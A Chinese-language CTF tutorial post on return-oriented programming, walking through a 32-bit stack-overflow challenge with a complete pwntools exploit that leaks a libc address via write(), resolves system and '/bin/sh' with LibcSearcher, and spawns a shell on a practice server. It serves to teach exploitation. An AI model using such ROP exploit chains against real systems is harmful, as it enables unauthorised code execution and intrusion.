前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN从入门到放弃(11)——栈溢出之rop

PWN从入门到放弃(11)——栈溢出之rop

作者头像
山深有杏
发布2024-01-30 14:24:10
2910
发布2024-01-30 14:24:10
举报
文章被收录于专栏:CTF新手教程CTF新手教程

本来是想分享一下工具,但是单纯分享工具内容太少,于是这里再简单讲一下ROP

0x00 什么是ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

0x01 为什么要ROP

探究原因之前,我们先看一下什么是NX(DEP) NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop就是其中一种。

注:通俗的来说,rop就是利用程序中已有的程序段来拼接一个我们需要的功能(函数)。

0x02 例题

例题下载(例题为铁人三项第五赛区_2018_rop)

1)查看程序信息
代码语言:javascript
复制
$ checksec 2018_rop

32位程序,开启了NX保护(意味着栈不可执行)

2)IDA pro 分析

打开看到vulnerable_function()直接跟进

read()函数处存在溢出,溢出偏移为0x8C

根据我们之前讲的题目,这种只存在溢出的题目需要泄漏一个函数的实际地址,再计算libc基地址。

但我们看左侧函数窗口,没有puts()、system()、也没有’/bin/sh’字符串。

其实不光puts()函数可以打印函数的实际地址,write()函数也可以,之所以我们平时都用puts()函数,是因为puts()函数只有一个参数,使用起来方便。

3)编写exp

首先,先把脚本框架写好

代码语言:javascript
复制
# -*- coding: utf-8 -*-
from pwn import *
pro = './2018_rop'
context.terminal = ["tmux","splitw","-h"]
elf = ELF(pro)
r = process(pro)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'

rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)

if args.G:
	gdb.attach(proc.pidof(r)[0])






r.interactive()

接下来我们先把需要准备的地址准备好,之前我们都是用puts函数打印puts函数的实际地址,我们也可以用write函数打印write函数的实际地址(当然也可以打印其他函数的实际地址),这里我用wirte函数打印__libc_start_main函数的实际地址。

代码语言:javascript
复制
padding = 0x8c
write_plt = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x080484c6

下面我们就要构造一个rop链了,在构造之前,先来了解一下write函数

函数定义:ssize_t write (int fd, const void * buf, size_t count);

函数说明:write()会把参数buf所指的内存写入count个字节到参数放到fd所指的文件内。

想要write函数将实际地址打印出来,只需要将fd置1,又因为这是32位程序,地址长度为4,所以count=4即可。

代码语言:javascript
复制
pay = 'a' * padding
pay += p32(write_plt)
pay += p32(main_addr)
pay += p32(1)
pay += p32(libc_start_main_got)
pay += p32(4)

sl(pay)
lsm_real_addr = u32(rv(4))
print 'lsm_real_addr >>>>>>>> ' + hex(lsm_real_addr)

rop链应该很容易看懂,不过多赘述

接下来,需要计算libc的基地址,这里推荐一下LibcSearcher这个库

LibcSearch-github

安装方法

代码语言:javascript
复制
$ git clone https://github.com/lieanu/LibcSearcher.git
$ cd LibcSearcher
$ python setup.py develop

使用方法也很简单,大家应该一看就能看懂。

代码语言:javascript
复制
from LibcSearcher import *

libc = LibcSearcher("gets",gets_real_addr)

libc_base = gets_real_addr – libc.dump("fgets")
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

那么我们这道题的libc基地址计算就照葫芦画瓢即可

代码语言:javascript
复制
libc = LibcSearcher("__libc_start_main",lsm_real_addr)
libc_base = lsm_real_addr - libc.dump('__libc_start_main')
print 'libc_base >>>>>>>> ' + hex(libc_base)
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

计算出基地址了,后面都是基本操作

代码语言:javascript
复制
pay1 = 'a' * padding
pay1 += p32(system_addr)
pay1 += p32(main_addr)
pay1 += p32(bin_sh_addr)

sleep(1)
sl(pay1)
4)完整exp
代码语言:javascript
复制
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
pro = './2018_rop'
context.terminal = ["tmux","splitw","-h"]
elf = ELF(pro)
#r = process(pro)
r = remote('node3.buuoj.cn',26913)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'

rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)

if args.G:
    gdb.attach(proc.pidof(r)[0])

padding = 0x88 + 0x4
write_plt = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x080484c6

pay = 'a' * padding
pay += p32(write_plt)
pay += p32(main_addr)
pay += p32(1)
pay += p32(libc_start_main_got)
pay += p32(4)

sl(pay)
lsm_real_addr = u32(rv(4))
print 'lsm_real_addr >>>>>>>> ' + hex(lsm_real_addr) 
libc = LibcSearcher("__libc_start_main",lsm_real_addr)
libc_base = lsm_real_addr - libc.dump('__libc_start_main')
print 'libc_base >>>>>>>> ' + hex(libc_base)
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

pay1 = 'a' * padding
pay1 += p32(system_addr)
pay1 += p32(main_addr)
pay1 += p32(bin_sh_addr)

sleep(1)
sl(pay1)

r.interactive()
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 什么是ROP
  • 0x01 为什么要ROP
  • 0x02 例题
    • 1)查看程序信息
      • 2)IDA pro 分析
        • 3)编写exp
          • 4)完整exp
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档